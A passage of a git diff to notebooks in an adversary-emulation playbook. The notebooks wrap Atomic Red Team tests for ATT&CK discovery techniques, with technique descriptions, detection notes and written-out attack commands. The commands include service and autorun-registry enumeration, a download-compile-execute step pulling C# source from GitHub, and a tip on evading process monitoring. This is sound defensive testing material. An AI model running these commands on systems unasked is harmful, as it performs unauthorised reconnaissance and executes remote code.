a project.(Citation: Google Cloud - IAM Servie Accounts List API)\nT1057 | Process Discovery | Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from [Process Discovery](https://attack.mitre.org/techniques/T1057) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nIn Windows environments, adversaries could obtain details on running processes using the [Tasklist](https://attack.mitre.org/software/S0057) utility via [cmd](https://attack.mitre.org/software/S0106) or Get-Process via [PowerShell](https://attack.mitre.org/techniques/T1059/001). Information about processes can also be extracted from the output of [Native API](https://attack.mitre.org/techniques/T1106) calls such as CreateToolhelp32Snapshot. In Mac and Linux, this is accomplished with the ps command. Adversaries may also opt to enumerate processes via /proc.\n\nOn network devices, [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `show processes` can be used to display current running processes.(Citation: US-CERT-TA18-106A)(Citation: show_processes_cisco_cmd)\nT1497.002 | User Activity Based Checks | Adversaries may employ various user activity checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness)\n\nAdversaries may search for user activity on the host based on variables such as the speed/frequency of mouse movements and clicks (Citation: Sans Virtual Jan 2016) , browser history, cache, bookmarks, or number of files in common directories such as home or the desktop. Other methods may rely on specific user interaction with the system before the malicious code is activated, such as waiting for a document to close before activating a macro (Citation: Unit 42 Sofacy Nov 2018) or waiting for a user to double click on an embedded image to activate.(Citation: FireEye FIN7 April 2017) \nT1069.001 | Local Groups | Adversaries may attempt to find local system groups and permission settings. The knowledge of local system permission groups can help adversaries determine which groups exist and which users belong to a particular group. Adversaries may use this information to determine which users have elevated permissions, such as the users found within the local administrators group.\n\nCommands such as net localgroup of the [Net](https://attack.mitre.org/software/S0039) utility, dscl . -list /Groups on macOS, and groups on Linux can list local groups.\nT1201 | Password Policy Discovery | Adversaries may attempt to access detailed information about the password policy used within an enterprise network or cloud environment. Password policies are a way to enforce complex passwords that are difficult to guess or crack through [Brute Force](https://attack.mitre.org/techniques/T1110). This information may help the adversary to create a list of common passwords and launch dictionary and/or brute force attacks which adheres to the policy (e.g. if the minimum password length should be 8, then not trying passwords such as 'pass123'; not checking for more than 3-4 passwords per account if the lockout is set to 6 as to not lock out accounts).\n\nPassword policies can be set and discovered on Windows, Linux, and macOS systems via various command shell utilities such as net accounts (/domain), Get-ADDefaultDomainPasswordPolicy, chage -l , cat /etc/pam.d/common-password, and pwpolicy getaccountpolicies (Citation: Superuser Linux Password Policies) (Citation: Jamf User Password Policies). Adversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to discover password policy information (e.g. show aaa, show aaa common-criteria policy all).(Citation: US-CERT-TA18-106A)\n\nPassword policies can be discovered in cloud environments using available APIs such as GetAccountPasswordPolicy in AWS (Citation: AWS GetPasswordPolicy).\nT1614.001 | System Language Discovery | Adversaries may attempt to gather information about the system language of a victim in order to infer the geographical location of that host. This information may be used to shape follow-on behaviors, including whether the adversary infects the target and/or attempts specific actions. This decision may be employed by malware developers and operators to reduce their risk of attracting the attention of specific law enforcement agencies or prosecution/scrutiny from other entities.(Citation: Malware System Language Check)\n\nThere are various sources of data an adversary could use to infer system language, such as system defaults and keyboard layouts. Specific checks will vary based on the target and/or adversary, but may involve behaviors such as [Query Registry](https://attack.mitre.org/techniques/T1012) and calls to [Native API](https://attack.mitre.org/techniques/T1106) functions.(Citation: CrowdStrike Ryuk January 2019) \n\nFor example, on a Windows system adversaries may attempt to infer the language of a system by querying the registry key HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Nls\\Language or parsing the outputs of Windows API functions GetUserDefaultUILanguage, GetSystemDefaultUILanguage, GetKeyboardLayoutList and GetUserDefaultLangID.(Citation: Darkside Ransomware Cybereason)(Citation: Securelist JSWorm)(Citation: SecureList SynAck Doppelg\u00e4nging May 2018)\n\nOn a macOS or Linux system, adversaries may query locale to retrieve the value of the $LANG environment variable.\nT1012 | Query Registry | Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.\n\nThe Registry contains a significant amount of information about the operating system, configuration, software, and security.(Citation: Wikipedia Windows Registry) Information can easily be queried using the [Reg](https://attack.mitre.org/software/S0075) utility, though other means to access the Registry exist. Some of the information may help adversaries to further their operation within a network. Adversaries may use the information from [Query Registry](https://attack.mitre.org/techniques/T1012) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\nT1614 | System Location Discovery | \nAdversaries may gather information in an attempt to calculate the geographical location of a victim host. Adversaries may use the information from [System Location Discovery](https://attack.mitre.org/techniques/T1614) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nAdversaries may attempt to infer the location of a system using various system checks, such as time zone, keyboard layout, and/or language settings.(Citation: FBI Ragnar Locker 2020)(Citation: Sophos Geolocation 2016)(Citation: Bleepingcomputer RAT malware 2020) Windows API functions such as GetLocaleInfoW can also be used to determine the locale of the host.(Citation: FBI Ragnar Locker 2020) In cloud environments, an instance's availability zone may also be discovered by accessing the instance metadata service from the instance.(Citation: AWS Instance Identity Documents)(Citation: Microsoft Azure Instance Metadata 2021)\n\nAdversaries may also attempt to infer the location of a victim host using IP addressing, such as via online geolocation IP-lookup services.(Citation: Securelist Trasparent Tribe 2020)(Citation: Sophos Geolocation 2016)\nT1518.001 | Security Software Discovery | Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from [Security Software Discovery](https://attack.mitre.org/techniques/T1518/001) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nExample commands that can be used to obtain security software information are [netsh](https://attack.mitre.org/software/S0108), reg query with [Reg](https://attack.mitre.org/software/S0075), dir with [cmd](https://attack.mitre.org/software/S0106), and [Tasklist](https://attack.mitre.org/software/S0057), but other indicators of discovery behavior may be more specific to the type of software or security system the adversary is looking for. It is becoming more common to see macOS malware perform checks for LittleSnitch and KnockKnock software.\n\nAdversaries may also utilize cloud APIs to discover the configurations of firewall rules within an environment.(Citation: Expel IO Evil in AWS) For example, the permitted IP ranges, ports or user accounts for the inbound/outbound rules of security groups, virtual firewalls established within AWS for EC2 and/or VPC instances, can be revealed by the DescribeSecurityGroups action with various request parameters. (Citation: DescribeSecurityGroups - Amazon Elastic Compute Cloud)\nT1526 | Cloud Service Discovery | An adversary may attempt to enumerate the cloud services running on a system after gaining access. These methods can differ from platform-as-a-service (PaaS), to infrastructure-as-a-service (IaaS), or software-as-a-service (SaaS). Many services exist throughout the various cloud providers and can include Continuous Integration and Continuous Delivery (CI/CD), Lambda Functions, Azure AD, etc. They may also include security services, such as AWS GuardDuty and Microsoft Defender for Cloud, and logging services, such as AWS CloudTrail and Google Cloud Audit Logs.\n\nAdversaries may attempt to discover information about the services enabled throughout the environment. Azure tools and APIs, such as the Azure AD Graph API and Azure Resource Manager API, can enumerate resources and services, including applications, management groups, resources and policy definitions, and their relationships that are accessible by an identity.(Citation: Azure - Resource Manager API)(Citation: Azure AD Graph API)\n\nFor example, Stormspotter is an open source tool for enumerating and constructing a graph for Azure resources and services, and Pacu is an open source AWS exploitation framework that supports several methods for discovering cloud services.(Citation: Azure - Stormspotter)(Citation: GitHub Pacu)\n\nAdversaries may use the information gained to shape follow-on behaviors, such as targeting data or credentials from enumerated services or evading identified defenses through [Disable or Modify Tools](https://attack.mitre.org/techniques/T1562/001) or [Disable or Modify Cloud Logs](https://attack.mitre.org/techniques/T1562/008).\nT1018 | Remote System Discovery | Adversaries may attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for Lateral Movement from the current system. Functionality could exist within remote access tools to enable this, but utilities available on the operating system could also be used such as [Ping](https://attack.mitre.org/software/S0097) or net view using [Net](https://attack.mitre.org/software/S0039).\n\nAdversaries may also analyze data from local host files (ex: C:\\Windows\\System32\\Drivers\\etc\\hosts or /etc/hosts) or other passive means (such as local [Arp](https://attack.mitre.org/software/S0099) cache entries) in order to discover the presence of remote systems in an environment.\n\nAdversaries may also target discovery of network infrastructure as well as leverage [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands on network devices to gather detailed information about systems within a network (e.g. show cdp neighbors, show arp).(Citation: US-CERT-TA18-106A)(Citation: CISA AR21-126A FIVEHANDS May 2021) \n\nT1046 | Network Service Discovery | Adversaries may attempt to get a listing of services running on remote hosts and local network infrastructure devices, including those that may be vulnerable to remote software exploitation. Common methods to acquire this information include port and/or vulnerability scans using tools that are brought onto a system.(Citation: CISA AR21-126A FIVEHANDS May 2021) \n\nWithin cloud environments, adversaries may attempt to discover services running on other cloud hosts. Additionally, if the cloud environment is connected to a on-premises environment, adversaries may be able to identify services running on non-cloud systems as well.\n\nWithin macOS environments, adversaries may use the native Bonjour application to discover services running on other macOS hosts within a network. The Bonjour mDNSResponder daemon automatically registers and advertises a host\u2019s registered services on the network. For example, adversaries can use a mDNS query (such as dns-sd -B _ssh._tcp .) to find other systems broadcasting the ssh service.(Citation: apple doco bonjour description)(Citation: macOS APT Activity Bradley)\nT1518 | Software Discovery | Adversaries may attempt to get a listing of software and software versions that are installed on a system or in a cloud environment. Adversaries may use the information from [Software Discovery](https://attack.mitre.org/techniques/T1518) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nAdversaries may attempt to enumerate software for a variety of reasons, such as figuring out what security measures are present or if the compromised system has a version of software that is vulnerable to [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068).\nT1538 | Cloud Service Dashboard | An adversary may use a cloud service dashboard GUI with stolen credentials to gain useful information from an operational cloud environment, such as specific services, resources, and features. For example, the GCP Command Center can be used to view all assets, findings of potential security risks, and to run additional queries, such as finding public IP addresses and open ports.(Citation: Google Command Center Dashboard)\n\nDepending on the configuration of the environment, an adversary may be able to enumerate more information via the graphical dashboard than an API. This allows the adversary to gain information without making any API requests.\nT1622 | Debugger Evasion | Adversaries may employ various means to detect and avoid debuggers. Debuggers are typically used by defenders to trace and/or analyze the execution of potential malware payloads.(Citation: ProcessHacker Github)\n\nDebugger evasion may include changing behaviors based on the results of the checks for the presence of artifacts indicative of a debugged environment. Similar to [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497), if the adversary detects a debugger, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for debugger artifacts before dropping secondary or additional payloads.\n\nSpecific checks will vary based on the target and/or adversary, but may involve [Native API](https://attack.mitre.org/techniques/T1106) function calls such as IsDebuggerPresent() and NtQueryInformationProcess(), or manually checking the BeingDebugged flag of the Process Environment Block (PEB). Other checks for debugging artifacts may also seek to enumerate hardware breakpoints, interrupt assembly opcodes, time checks, or measurements if exceptions are raised in the current process (assuming a present debugger would \u201cswallow\u201d or handle the potential error).(Citation: hasherezade debug)(Citation: AlKhaser Debug)(Citation: vxunderground debug)\n\nAdversaries may use the information learned from these debugger checks during automated discovery to shape follow-on behaviors. Debuggers can also be evaded by detaching the process or flooding debug logs with meaningless data via messages produced by looping [Native API](https://attack.mitre.org/techniques/T1106) function calls such as OutputDebugStringW().(Citation: wardle evilquest partii)(Citation: Checkpoint Dridex Jan 2021)\nT1124 | System Time Discovery | An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network. (Citation: MSDN System Time)(Citation: Technet Windows Time Service)\n\nSystem time information may be gathered in a number of ways, such as with [Net](https://attack.mitre.org/software/S0039) on Windows by performing net time \\\\hostname to gather the system time on a remote system. The victim's time zone may also be inferred from the current system time or gathered by using w32tm /tz.(Citation: Technet Windows Time Service)\n\nOn network devices, [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `show clock detail` can be used to see the current time configuration.(Citation: show_clock_detail_cisco_cmd)\n\nThis information could be useful for performing other techniques, such as executing a file with a [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053)(Citation: RSA EU12 They're Inside), or to discover locality information based on time zone to assist in victim targeting (i.e. [System Location Discovery](https://attack.mitre.org/techniques/T1614)). Adversaries may also use knowledge of system time as part of a time bomb, or delaying execution until a specified date/time.(Citation: AnyRun TimeBomb)" }, { "cell_type": "code", "execution_count": null, - "id": "70b72720", + "id": "da16fb86", "metadata": {}, "outputs": [], "source": "#Invoke-AtomicTest-By can be downloaded from https://github.com/cyberbuff/ART-Utils/\nInvoke-AtomicTest-By -Tactic discovery" @@ -18,13 +18,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/discovery/T1007.ipynb b/playbook/tactics/discovery/T1007.ipynb index 13754fac..c7345621 100644 --- a/playbook/tactics/discovery/T1007.ipynb +++ b/playbook/tactics/discovery/T1007.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "a43bdb8e", + "id": "0ae80f9a", "metadata": {}, "source": "# T1007 - System Service Discovery\nAdversaries may try to gather information about registered local system services. Adversaries may obtain information about services using tools as well as OS utility commands such as sc query, tasklist /svc, systemctl --type=service, and net start.\n\nAdversaries may use the information from [System Service Discovery](https://attack.mitre.org/techniques/T1007) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions." }, { "cell_type": "markdown", - "id": "cf313714", + "id": "b4e66cb5", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "e66af110", + "id": "eccc0f57", "metadata": {}, "source": [ "### Atomic Test #1 - System Service Discovery", @@ -28,14 +28,14 @@ { "cell_type": "code", "execution_count": null, - "id": "718f2221", + "id": "e1fa0cf1", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1007 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "7298d116", + "id": "c8ec9b15", "metadata": {}, "source": [ "### Atomic Test #2 - System Service Discovery - net.exe", @@ -48,54 +48,54 @@ { "cell_type": "code", "execution_count": null, - "id": "6b680520", + "id": "4ee7610d", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1007 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "89f9e70b", + "id": "4c9babb9", "metadata": {}, "source": "#### Cleanup: \n```cmd\ndel /f /q /s %temp%\\service-list.txt >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "6ae53676", + "id": "17ef0c85", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1007 -TestNumbers 2 -Cleanup" }, { "cell_type": "markdown", - "id": "a06fa7b3", + "id": "33f8df99", "metadata": {}, "source": [ - "### Atomic Test #3 - System Service Discovery - systemctl", - "Enumerates system service using systemctl\n", + "### Atomic Test #3 - System Service Discovery - systemctl/service", + "Enumerates system service using systemctl/service\n", "**Supported Platforms:** linux", "#### Attack Commands: Run with `bash`\n", - "```bash\nsystemctl --type=service\n```" + "```bash\nif [ \"$(uname)\" = 'FreeBSD' ]; then service -e; else systemctl --type=service; fi;\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "dabd36b7", + "id": "bfe4a5cd", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1007 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "833457f5", + "id": "bb867f9f", "metadata": {}, "source": "## Detection\nSystem and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system information related to services. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001)." }, { "cell_type": "markdown", - "id": "747fadfd", + "id": "7dc4013d", "metadata": {}, "source": "\n## Shield Active Defense\n### API Monitoring \n Monitor local APIs that might be used by adversary tools and activity. \n\n API Monitoring involves capturing an internal Operating System (OS) function for its usage, accompanying arguments, and result. When a defender captures this information, the intelligence gathered can be analyzed to gain insight into the activity of an adversary at a level deeper than normal system activity monitoring.\n#### Opportunity\nThere is an opportunity for the defender to observe the adversary and control what they can see, what effects they can have, and/or what data they can access.\n#### Use Case\nA defender can monitor and analyze operating system functions calls for detection and alerting.\n#### Procedures\nTrace activity through WinSock TCP API functions to view potentially malicious network events. Log it such that it can be pushed to a centralized location and analyzed further.\nHook the Win32 DeleteFile() function to log all attempts at deleting a given file. This information can be used to trigger restoration attempts on critical data, reducing potential disruption if those files are unavailable for prolonged periods of time.\n" } @@ -103,13 +103,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/discovery/T1010.ipynb b/playbook/tactics/discovery/T1010.ipynb index f53660f4..888128cc 100644 --- a/playbook/tactics/discovery/T1010.ipynb +++ b/playbook/tactics/discovery/T1010.ipynb @@ -2,70 +2,70 @@ "cells": [ { "cell_type": "markdown", - "id": "50ebe1fb", + "id": "61af1231", "metadata": {}, - "source": "# T1010 - Application Window Discovery\nAdversaries may attempt to get a listing of open application windows. Window listings could convey information about how the system is used or give context to information collected by a keylogger.(Citation: Prevailion DarkWatchman 2021)" + "source": "# T1010 - Application Window Discovery\nAdversaries may attempt to get a listing of open application windows. Window listings could convey information about how the system is used.(Citation: Prevailion DarkWatchman 2021) For example, information about application windows could be used identify potential data to collect as well as identifying security tooling ([Security Software Discovery](https://attack.mitre.org/techniques/T1518/001)) to evade.(Citation: ESET Grandoreiro April 2020)\n\nAdversaries typically abuse system features for this type of enumeration. For example, they may gather information through native system features such as [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) commands and [Native API](https://attack.mitre.org/techniques/T1106) functions." }, { "cell_type": "markdown", - "id": "fcf2baa5", + "id": "30656a65", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "fadc8cd6", + "id": "d87ada9b", "metadata": {}, - "source": "### Atomic Test #1 - List Process Main Windows - C# .NET\nCompiles and executes C# code to list main window titles associated with each process.\n\nUpon successful execution, powershell will download the .cs from the Atomic Red Team repo, and cmd.exe will compile and execute T1010.exe. Upon T1010.exe execution, expected output will be via stdout.\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: T1010.cs must exist on disk at specified location (#{input_source_code})\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path PathToAtomicsFolder\\T1010\\src\\T1010.cs) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory (split-path PathToAtomicsFolder\\T1010\\src\\T1010.cs) -ErrorAction ignore | Out-Null\nInvoke-WebRequest https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1010/src/T1010.cs -OutFile \"PathToAtomicsFolder\\T1010\\src\\T1010.cs\"\n\n```" + "source": "### Atomic Test #1 - List Process Main Windows - C# .NET\nCompiles and executes C# code to list main window titles associated with each process.\n\nUpon successful execution, powershell will download the .cs from the Atomic Red Team repo, and cmd.exe will compile and execute T1010.exe. Upon T1010.exe execution, expected output will be via stdout.\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: T1010.cs must exist on disk at specified location (#{input_source_code})\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path \"PathToAtomicsFolder\\T1010\\src\\T1010.cs\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory (split-path \"PathToAtomicsFolder\\T1010\\src\\T1010.cs\") -ErrorAction ignore | Out-Null\nInvoke-WebRequest https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1010/src/T1010.cs -OutFile \"PathToAtomicsFolder\\T1010\\src\\T1010.cs\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "7307cb60", + "id": "04076eb9", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1010 -TestNumbers 1 -GetPreReqs" }, { "cell_type": "markdown", - "id": "601d8b29", + "id": "4d0d16f0", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", - "```command_prompt\nC:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\csc.exe -out:%TEMP%\\T1010.exe PathToAtomicsFolder\\T1010\\src\\T1010.cs\n%TEMP%\\T1010.exe\n```" + "```command_prompt\nC:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\csc.exe -out:%TEMP%\\T1010.exe \"PathToAtomicsFolder\\T1010\\src\\T1010.cs\"\n%TEMP%\\T1010.exe\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "268a6e17", + "id": "781d29dd", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1010 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "6b9f0722", + "id": "4609e235", "metadata": {}, "source": "#### Cleanup: \n```cmd\ndel /f /q /s %TEMP%\\T1010.exe >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "bfba2b45", + "id": "50e1dc77", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1010 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "03e9db29", + "id": "c3d660b5", "metadata": {}, "source": "## Detection\nSystem and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001)." }, { "cell_type": "markdown", - "id": "e1f4d3e5", + "id": "58169604", "metadata": {}, "source": "\n## Shield Active Defense\n### Application Diversity \n Present the adversary with a variety of installed applications and services. \n\n Application diversity is presenting multiple software targets to the adversary. On a single target system, defenders can configure multiple different services or user software applications. On a target network, defenders can present systems with a variety of operating systems, operating system versions, applications, and services.\n#### Opportunity\nThere is an opportunity to provide a variety of applications to an adversary so they see a full set of information when performing discovery tasks.\n#### Use Case\nDuring an adversary engagement operation, a defender can open and use any particular subset of applications installed on a system to control what is presented to the adversary at any point in time.\n#### Procedures\nUse a mix of vulnerable and nonvulnerable software on a system to allow you to see what exploits the adversary leverages in their attacks.\nInstall Anti-virus or other end-point detection tools on systems to see if an adversary takes note of them and if so, how they react.\n" } @@ -73,13 +73,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/discovery/T1012.ipynb b/playbook/tactics/discovery/T1012.ipynb index 0babb245..87d2d0dd 100644 --- a/playbook/tactics/discovery/T1012.ipynb +++ b/playbook/tactics/discovery/T1012.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "78ef8ad5", + "id": "bc181f1f", "metadata": {}, "source": "# T1012 - Query Registry\nAdversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.\n\nThe Registry contains a significant amount of information about the operating system, configuration, software, and security.(Citation: Wikipedia Windows Registry) Information can easily be queried using the [Reg](https://attack.mitre.org/software/S0075) utility, though other means to access the Registry exist. Some of the information may help adversaries to further their operation within a network. Adversaries may use the information from [Query Registry](https://attack.mitre.org/techniques/T1012) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions." }, { "cell_type": "markdown", - "id": "6e037890", + "id": "d0d8a03b", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "c06bdb9c", + "id": "5655bbde", "metadata": {}, "source": [ "### Atomic Test #1 - Query Registry", @@ -22,23 +22,44 @@ "**Supported Platforms:** windows", "\nElevation Required (e.g. root or admin)", "#### Attack Commands: Run with `command_prompt`\n", - "```command_prompt\nreg query \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows\"\nreg query HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce\nreg query HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce\nreg query HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices\nreg query HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices\nreg query \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Notify\"\nreg query \"HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Userinit\"\nreg query \"HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\\\Shell\"\nreg query \"HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\\\Shell\"\nreg query HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\ShellServiceObjectDelayLoad\nreg query HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\nreg query HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx\nreg query HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\nreg query HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\nreg query HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\nreg query HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\nreg query HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\nreg query HKLM\\system\\currentcontrolset\\services /s | findstr ImagePath 2>nul | findstr /Ri \".*\\.sys$\"\nreg query HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\n```" + "```command_prompt\nreg query \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows\"\nreg query HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce\nreg query HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce\nreg query HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices\nreg query HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices\nreg query \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Notify\"\nreg query \"HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Userinit\"\nreg query \"HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\\\Shell\"\nreg query \"HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\\\Shell\"\nreg query HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\ShellServiceObjectDelayLoad\nreg query HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\nreg query HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx\nreg query HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\nreg query HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\nreg query HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\nreg query HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\nreg query HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\nreg query HKLM\\system\\currentcontrolset\\services /s | findstr ImagePath 2>nul | findstr /Ri \".*\\.sys$\"\nreg query HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\nreg query HKLM\\SYSTEM\\CurrentControlSet\\Control\\SafeBoot\nreg query \"HKLM\\SOFTWARE\\Microsoft\\Active Setup\\Installed Components\"\nreg query \"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Group Policy\\Scripts\\Startup\"\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "1718edff", + "id": "57b52668", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1012 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "b91d400e", + "id": "53f1c7df", "metadata": {}, "source": [ - "### Atomic Test #2 - Enumerate COM Objects in Registry with Powershell", + "### Atomic Test #2 - Query Registry with Powershell cmdlets", + "Query Windows Registry with Powershell cmdlets, i.e., Get-Item and Get-ChildItem. The results from above can also be achieved with Get-Item and Get-ChildItem.\nUnlike using \"reg query\" which then executes reg.exe, using cmdlets won't generate new processes, which may evade detection systems monitoring process generation. \n", + "**Supported Platforms:** windows", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `powershell`\n", + "```powershell\nGet-Item -Path \"HKLM:SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows\"\nGet-ChildItem -Path \"HKLM:SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\\" | findstr Windows\nGet-Item -Path \"HKLM:Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce\"\nGet-Item -Path 